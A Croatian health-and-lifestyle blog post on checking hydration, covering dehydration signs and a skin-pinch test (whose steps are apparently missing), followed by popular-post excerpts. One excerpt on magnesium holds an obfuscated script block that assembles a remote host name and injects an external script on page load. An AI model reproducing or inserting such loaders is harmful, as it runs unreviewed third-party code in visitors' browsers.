PIJETE LI DOVOLJNO VODE?





Pijete li dovoljno vode?




Koliko ste danas popili vode? Ako morate razmišljati o odgovoru, vjerojatno niste dovoljno. Žeđ nije prvi znak dehidracije, ona je posljednji. Prije nje dolaze sitne, gotovo neprimjetne promjene: umor, slabija koncentracija, suha usta, glavobolja bez jasnog razloga. Lako ih pripišemo stresu ili manjku sna, a zapravo je često riječ o najjednostavnijoj stvari na svijetu, manjku tekućine u organizmu. Dobra vijest? Postoji način da to provjerite odmah. Doslovno u dvije sekunde.





Ako se koža odmah vrati na mjesto, dobro ste hidrirani.
 
Ako joj treba malo dulje da se izravna, vrlo je moguće da tijelu nedostaje vode. Elastična koža znak je dobre hidratacije, dok sporiji povratak često ukazuje na blagu dehidraciju.


 
Znakovi dehidracije koje najčešće previdimo tijekom dana

Test kože samo je prvi signal.
Tijelo ima još načina da nas upozori,  samo ih rijetko povezujemo s vodom. 
  • Umor bez razloga,
  • “magla” u glavi,
  • suha usta,
  • tamniji urin,
  • vrtoglavica pri ustajanju ili
  • iznenadna želja za slatkim

često su tihi znakovi da organizmu nedostaje tekućine. Zanimljivo je da žeđ ponekad zamijenimo s glađu. Nekad zaista nismo gladni, samo smo žedni.



Tko bi trebao posebno paziti na unos vode

Potrebe za tekućinom nisu jednake za sve.
Osobe koje se više kreću, rade na suncu ili provode sate u zatvorenim, grijanim prostorima brže gube vodu, a da to ni ne primijete. Djeca, starije osobe i svi koji piju puno kave ili alkohola također su skloniji dehidraciji. Ljeti i tijekom fizičke aktivnosti potreba za vodom može biti znatno veća nego inače.



 
Važno je znati: ovo je samo brza provjera, ne dijagnoza

Iako je test uštipa kože praktičan i često koristan kao brzi pokazatelj hidratacije, nije jedini niti stopostotno pouzdan način procjene stanja organizma.
 
Na elastičnost kože mogu utjecati dob, tip kože, vremenski uvjeti ili opće zdravstveno stanje. Upravo zato liječnici pri procjeni dehidracije uvijek gledaju širu kliničku sliku: kombinaciju simptoma, općeg stanja, unosa tekućine i drugih pokazatelja.
 
Ovaj mali kućni trik zato treba shvatiti kao orijentaciju i podsjetnik da pijemo dovoljno vode, a ne kao zamjenu za stručni savjet.



Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više